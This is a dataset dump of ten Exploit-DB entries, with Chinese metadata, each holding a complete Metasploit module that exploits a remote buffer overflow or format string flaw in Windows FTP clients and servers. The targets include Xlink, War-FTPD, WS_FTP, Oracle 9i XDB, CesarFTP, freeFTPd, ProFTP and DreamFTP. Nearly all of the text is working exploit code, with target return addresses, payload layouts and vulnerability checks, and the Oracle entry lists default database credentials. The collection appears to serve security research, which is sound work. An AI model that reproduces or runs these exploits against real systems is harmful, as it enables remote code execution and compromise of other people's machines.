QLWD/code_shield huggingface dataset:
标题: Xlink FTP Client - Remote Buffer Overflow (Metasploit) EDB-ID: 16722 CVE: 2006-5792 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-11 漏洞利用脚本: ##
# $Id: xlink_client.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::TcpServer

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Xlink FTP Client Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Xlink FTP Client 32
    Version 3.01 that comes bundled with Omni-NFS Enterprise 5.2.
    When a overly long FTP server response is recieved by a client,
    arbitrary code may be executed.
   },
   'Author'   => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10998 $',
   'References'     =>
    [
     [ 'CVE', '2006-5792' ],
     [ 'OSVDB', '33969' ],
     [ 'URL', 'http://www.metasploit.com/' ],
     [ 'URL', 'http://www.xlink.com' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 550,
     'BadChars' => "\x00\x0a\x0d\().,",
     'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP Pro SP3 English', { 'Ret' => 0x7d054897 } ],
     [ 'Windows 2000 SP4 English',  { 'Ret' => 0x7ce02a2d } ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Oct 3 2009',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
   ], self.class)
 end

 def on_client_connect(client)

  return if ((p = regenerate_payload(client)) == nil)

  sploit =  rand_text_alpha_upper(260) + [target.ret].pack('V') + payload.encoded
  sploit << rand_text_alpha_upper(1024 - payload.encoded.length) + "\r\n"

  print_status("Sending #{self.name}...")
  client.put(sploit)

  handler(client)
  service.close_client(client)

 end
end URL: https://www.exploit-db.com/exploits/16722
标题: Xlink FTP Server - Remote Buffer Overflow (Metasploit) EDB-ID: 16718 CVE: 2006-5792 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-11 漏洞利用脚本: ##
# $Id: xlink_server.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Xlink FTP Server Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Xlink FTP Server
    that comes bundled with Omni-NFS Enterprise 5.2.
    When a overly long FTP request is sent to the server,
    arbitrary code may be executed.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10998 $',
   'References'     =>
    [
     [ 'CVE', '2006-5792' ],
     [ 'OSVDB', '58646' ],
     [ 'URL', 'http://www.metasploit.com/' ],
     [ 'URL', 'http://www.xlink.com' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 260,
     'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
     'StackAdjustment' => -3500,
     'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Omni-NFS Enterprise V5.2', { 'Ret' => 0x1001f09c } ], # OmniEOM.DLL 1.0.0.1
    ],
   'DisclosureDate' => 'Oct 3 2009',
   'DefaultTarget'  => 0))

  deregister_options('FTPUSER', 'FTPPASS')
 end

 def check
  connect
  disconnect

  if (banner =~ /XLINK FTP Server/)
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def exploit

  connect

  sploit =  payload.encoded + [target.ret].pack('V')
  sploit << rand_text_alpha_upper(2024 - payload.encoded.length) + "\r\n"

  print_status("Trying target #{target.name}...")
  sock.put(sploit)

  handler
  disconnect

 end

end URL: https://www.exploit-db.com/exploits/16718
标题: War-FTPD 1.65 - 'Username' Remote Overflow (Metasploit) EDB-ID: 16724 CVE: 1999-0256 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: warftpd_165_user.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'War-FTPD 1.65 Username Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow found in the USER command
    of War-FTPD 1.65.
   },
   'Author'         => 'Fairuzan Roslan <riaf [at] mysec.org>',
   'License'        => BSD_LICENSE,
   'Version'        => '$Revision: 9669 $',
   'References'     =>
    [
     [ 'CVE', '1999-0256'],
     [ 'OSVDB', '875'    ],
     [ 'BID', '10078' ],
     [ 'URL', 'http://lists.insecure.org/lists/bugtraq/1998/Feb/0014.html' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process'
    },
   'Payload'        =>
    {
     'Space'    => 424,
     'BadChars' => "\x00\x0a\x0d\x40",
     'StackAdjustment' => -3500,
     'Compat'   =>
      {
       'ConnectionType' => "-find"
      }
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # Target 0
     [
      'Windows 2000 SP0-SP4 English',
      {
       'Ret'      => 0x750231e2 # ws2help.dll
      },
     ],
     # Target 1
     [
      'Windows XP SP0-SP1 English',
      {
       'Ret'      => 0x71ab1d54 # push esp, ret
      }
     ],
     # Target 2
     [
      'Windows XP SP2 English',
      {
       'Ret'      => 0x71ab9372 # push esp, ret
      }
     ],
     # Target 3
     [
      'Windows XP SP3 English',
      {
       'Ret'      => 0x71ab2b53 # push esp, ret
      }
     ]
    ],
   'DisclosureDate' => 'Mar 19 1998'))
 end

 def exploit
  connect

  print_status("Trying target #{target.name}...")

  buf          = make_nops(600) + payload.encoded
  buf[485, 4]  = [ target.ret ].pack('V')

  send_cmd( ['USER', buf] , false )

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16724
标题: Ipswitch WS_FTP Server 5.03 - MKD Overflow (Metasploit) EDB-ID: 16719 CVE: 2004-1135 类型: REMOTE 平台: WINDOWS 发布日期: 2010-10-05 漏洞利用脚本: ##
# $Id: wsftp_server_503_mkd.rb 10559 2010-10-05 23:41:17Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'WS-FTP Server 5.03 MKD Overflow',
   'Description'    => %q{
    This module exploits the buffer overflow found in the MKD
    command in IPSWITCH WS_FTP Server 5.03 discovered by Reed
    Arvin.
   },
   'Author'         => [ 'et', 'Reed Arvin <reedarvin@gmail.com>' ],
   'License'        => BSD_LICENSE,
   'Version'        => '$Revision: 10559 $',
   'Platform'       => [ 'win' ],
   'References'     =>
    [
     [ 'CVE', '2004-1135' ],
     [ 'OSVDB', '12509' ],
     [ 'BID', '11772'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 480,
     'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
     'StackAdjustment' => -3500,
    },
   'Targets'        =>
    [
     [
      'WS-FTP Server 5.03 Universal',
      {
       'Ret'      => 0x25185bb8,
       # Address is executable to allow XP and 2K
       # 0x25185bb8 = push esp, ret (libeay32.dll)
       # B85B1825XX = mov eax,0xXX25185b
      },
     ],
    ],
   'DisclosureDate' => 'Nov 29 2004',
   'DefaultTarget' => 0))
 end

 def check
  connect
  disconnect
  if (banner =~ /5\.0\.3/)
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect_login

  print_status("Trying target #{target.name}...")

  buf         = rand_text_alphanumeric(8192)
  buf[498, 4] = [ 0x7ffd3001 ].pack('V')
  buf[514, 4] = [ target.ret ].pack('V')
  buf[518, 4] = [ target.ret ].pack('V')
  buf[522, 2] = make_nops(2)
  buf[524, payload.encoded.length] = payload.encoded

  send_cmd( ['MKD', buf], true );

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16719
标题: Ipswitch WS_FTP Server 5.05 - XMD5 Overflow (Metasploit) EDB-ID: 16717 CVE: 2006-4847 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: wsftp_server_505_xmd5.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Ipswitch WS_FTP Server 5.05 XMD5 Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in the XMD5 verb in
    IPSWITCH WS_FTP Server 5.05.
   },
   'Author'         => 'MC',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2006-4847' ],
     [ 'OSVDB', '28939' ],
     [ 'BID', '20076' ],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 300,
     'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
     'StackAdjustment' => -3500,
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec663 } ],
     [ 'Windows XP Pro SP0 English',   { 'Ret' => 0x77dc0df0 } ],
     [ 'Windows XP Pro SP1 English',   { 'Ret' => 0x77dc5527 } ],

    ],
   'DisclosureDate' => 'Sep 14 2006',
   'DefaultTarget' => 0))
 end

 def check
  connect
  disconnect
  if (banner =~ /WS_FTP Server 5.0.5/)
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect_login

  print_status("Trying target #{target.name}...")

  sploit =  rand_text_alphanumeric(676, payload_badchars)
  sploit << [target.ret].pack('V') + payload.encoded

  send_cmd( ['XMD5', sploit] , false)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16717
标题: Oracle 9i XDB (Windows x86) - FTP UNLOCK Overflow (Metasploit) EDB-ID: 16714 CVE: 2003-0727 类型: REMOTE 平台: WINDOWS_X86 发布日期: 2010-10-05 漏洞利用脚本: ##
# $Id: oracle9i_xdb_ftp_unlock.rb 10559 2010-10-05 23:41:17Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Ftp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Oracle 9i XDB FTP UNLOCK Overflow (win32)',
   'Description'    => %q{
     By passing an overly long token to the UNLOCK command, a
    stack based buffer overflow occurs. David Litchfield, has
    illustrated multiple vulnerabilities in the Oracle 9i XML
    Database (XDB), during a seminar on "Variations in exploit
    methods between Linux and Windows" presented at the Blackhat
    conference. Oracle9i includes a number of default accounts,
    including dbsnmp:dbsmp, scott:tiger, system:manager, and
    sys:change_on_install.
   },
   'Author'         => [ 'MC', 'David Litchfield <david@ngssoftware.com>' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10559 $',
   'Platform'       => [ 'win' ],
   'References'     =>
    [
     [ 'CVE', '2003-0727'],
     [ 'OSVDB', '2449'],
     [ 'BID', '8375'],
     [ 'URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 800,
     'BadChars' => "\x00\x20\x0a\x0d",
     'StackAdjustment' => -3500,
    },
   'Targets'        =>
    [
     [
      'Oracle 9.2.0.1 Universal',
      {
       'Ret'      => 0x60616d46, # oraclient9.dll (pop/pop/ret)
      },
     ],
    ],
   'DisclosureDate' => 'Aug 18 2003',
   'DefaultTarget' => 0))

  register_options([
   Opt::RPORT(2100),
   OptString.new('FTPUSER', [ false, 'The username to authenticate as', 'DBSNMP']),
   OptString.new('FTPPASS', [ false, 'The password to authenticate with', 'DBSNMP']),
  ], self.class )
 end

 def check
  connect
  disconnect
  if (banner =~ /9\.2\.0\.1\.0/)
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect_login

  print_status("Trying target #{target.name}...")

  buf = rand_text_english(1130, payload_badchars)
  seh = generate_seh_payload(target.ret)
  buf[322, seh.length] = seh

  send_cmd( ['UNLOCK', '/', buf] , false )

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16714
标题: CesarFTP 0.99g - 'MKD' Remote Buffer Overflow (Metasploit) (2) EDB-ID: 16713 CVE: 2006-2961 类型: REMOTE 平台: WINDOWS 发布日期: 2011-02-23 漏洞利用脚本: ##
# $Id: cesarftp_mkd.rb 11799 2011-02-23 00:58:54Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Cesar FTP 0.99g MKD Command Buffer Overflow',
   'Description'    => %q{
    This module exploits a stack buffer overflow in the MKD verb in CesarFTP 0.99g.

    You must have valid credentials to trigger this vulnerability. Also, you
    only get one chance, so choose your target carefully.
   },
   'Author'         => 'MC',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 11799 $',
   'References'     =>
    [
     [ 'CVE', '2006-2961'],
     [ 'OSVDB', '26364'],
     [ 'BID', '18586'],
     [ 'URL', 'http://secunia.com/advisories/20574/' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 250,
     'BadChars' => "\x00\x20\x0a\x0d",
     'StackAdjustment' => -3500,
     'Compat'        =>
      {
       'SymbolLookup' => 'ws2ord',
      }
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ],
     [ 'Windows 2000 Pro SP4 French',  { 'Ret' => 0x775F29D0 } ],
     [ 'Windows XP SP2/SP3 English',       { 'Ret' => 0x774699bf } ], # jmp esp, user32.dll
     #[ 'Windows XP SP2 English',       { 'Ret' => 0x76b43ae0 } ], # jmp esp, winmm.dll
     #[ 'Windows XP SP3 English',       { 'Ret' => 0x76b43adc } ], # jmp esp, winmm.dll
     [ 'Windows 2003 SP1 English',     { 'Ret' => 0x76AA679b } ],
    ],
   'DisclosureDate' => 'Jun 12 2006',
   'DefaultTarget'  => 0))
 end

 def check
  connect
  disconnect

  if (banner =~ /CesarFTP 0\.99g/)
   return Exploit::CheckCode::Vulnerable
  end
   return Exploit::CheckCode::Safe
 end

 def exploit
  connect_login

  sploit =  "\n" * 671 + rand_text_english(3, payload_badchars)
  sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded

  print_status("Trying target #{target.name}...")

  send_cmd( ['MKD', sploit] , false)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16713
标题: freeFTPd 1.0 - 'Username' Remote Overflow (Metasploit) EDB-ID: 16707 CVE: 2005-3683 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: freeftpd_user.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Ftp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'freeFTPd 1.0 Username Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the freeFTPd
    multi-protocol file transfer service. This flaw can only be
    exploited when logging has been enabled (non-default).
   },
   'Author'         => 'MC',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9669 $',
   'References'     =>
    [
     [ 'CVE', '2005-3683'],
     [ 'OSVDB', '20909'],
     [ 'BID', '15457'],
     [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2005-November/038808.html'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 800,
     'BadChars' => "\x00\x20\x0a\x0d",
     'StackAdjustment' => -3500,
    },
   'Targets'        =>
    [
     [
      'Windows 2000 English ALL',
      {
       'Platform' => 'win',
       'Ret'      => 0x75022ac4,
      },
     ],
     [
      'Windows XP Pro SP0/SP1 English',
      {
       'Platform' => 'win',
       'Ret'      => 0x71aa32ad,
      },
     ],
     [
      'Windows NT SP5/SP6a English',
      {
       'Platform' => 'win',
       'Ret'      => 0x776a1799,
      },
     ],
     [
      'Windows 2003 Server English',
      {
       'Platform' => 'win',
       'Ret'      => 0x7ffc0638,
      },
     ],
    ],
   'DisclosureDate'  => 'Nov 16 2005'
  ))
 end

 def check
  connect
  disconnect
  if (banner =~ /freeFTPd 1\.0/)
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect

  print_status("Trying target #{target.name}...")

  buf          = rand_text_english(1816, payload_badchars)
  seh          = generate_seh_payload(target.ret)
  buf[1008, seh.length] = seh

  send_cmd( ['USER', buf] , false)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16707
标题: ProFTP 2.9 - Banner Remote Buffer Overflow (Metasploit) EDB-ID: 16709 CVE: 2009-3976 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: proftp_banner.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::TcpServer

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'ProFTP 2.9 Banner Remote Buffer Overflow Exploit',
   'Description'    => %q{
     This module exploits a buffer overflow in the ProFTP 2.9
    client that is triggered through an excessively long welcome message.
   },
   'Author'   => [ 'His0k4 <his0k4.hlm[at]gmail.com>' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9669 $',
   'References'     =>
    [
     [ 'CVE', '2009-3976' ],
     [ 'OSVDB', '57394' ],
     [ 'URL', 'http://www.labtam-inc.com/index.php?act=products&pid=1' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00\x0a\x0d\x20",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # Tested against - XP SP3 English OK.
     [ 'Universal',  { 'Ret' => 0x6809d408 } ], # WCMDPA10 (part of ProFTP)
    ],
   'Privileged'     => false,
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Aug 25 2009'))

  register_options(
   [
    OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
   ], self.class)
 end

 def on_client_connect(client)
  return if ((p = regenerate_payload(client)) == nil)

  buffer =  "220 "
  buffer << rand_text_numeric(2064)
  buffer << [target.ret].pack('V')
  buffer << make_nops(20)
  buffer << payload.encoded
  buffer << "\r\n"
  client.put(buffer)
 end

end URL: https://www.exploit-db.com/exploits/16709
标题: BolinTech DreamFTP Server 1.02 - Format String (Metasploit) EDB-ID: 16712 CVE: 2004-2074 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-22 漏洞利用脚本: ##
# $Id: dreamftp_format.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'BolinTech Dream FTP Server 1.02 Format String',
   'Description' => %q{
     This module exploits a format string overflow in the BolinTech
    Dream FTP Server version 1.02. Based on the exploit by SkyLined.
   },
   'Author'   => [ 'Patrick Webster <patrick[at]aushack.com>' ],
   'Arch'  => [ ARCH_X86 ],
   'License'         => MSF_LICENSE,
   'Version'         => '$Revision: 9583 $',
   'References'     =>
    [
     [ 'CVE', '2004-2074'],
     [ 'OSVDB', '4986'],
     [ 'BID', '9800'],
     [ 'URL', 'http://www.milw0rm.com/exploits/823'],
    ],
   'Platform'  => ['win'],
   'Privileged' => false,
   'Payload'  =>
    {
     'Space'   => 1000,
     'BadChars'  => "\x00\x0a\x0d",
     'StackAdjustment' => -3500,
    },
   'Targets'   =>
   [
    # Patrick - Tested OK 2007/09/10 against w2ksp0, w2ksp4 en.
    [
     'Dream FTP Server v1.02 Universal',
     {
      'Offset'   => 3957680, # 0x3c63ff-0x4f
     }
    ],
   ],
   'DisclosureDate' => 'Mar 03 2004',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(21),
   ], self.class)
 end

 def check
  connect
  banner = sock.get(-1,3)
  disconnect
  if (banner =~ /Dream FTP Server/)
   return Exploit::CheckCode::Appears
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect
  select(nil,nil,nil,0.25)
  sploit = "\xeb\x29"
  sploit << "%8x%8x%8x%8x%8x%8x%8x%8x%" + target['Offset'].to_s + "d%n%n"
  sploit << "@@@@@@@@" + payload.encoded
  sock.put(sploit + "\r\n")
  select(nil,nil,nil,0.25)
  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16712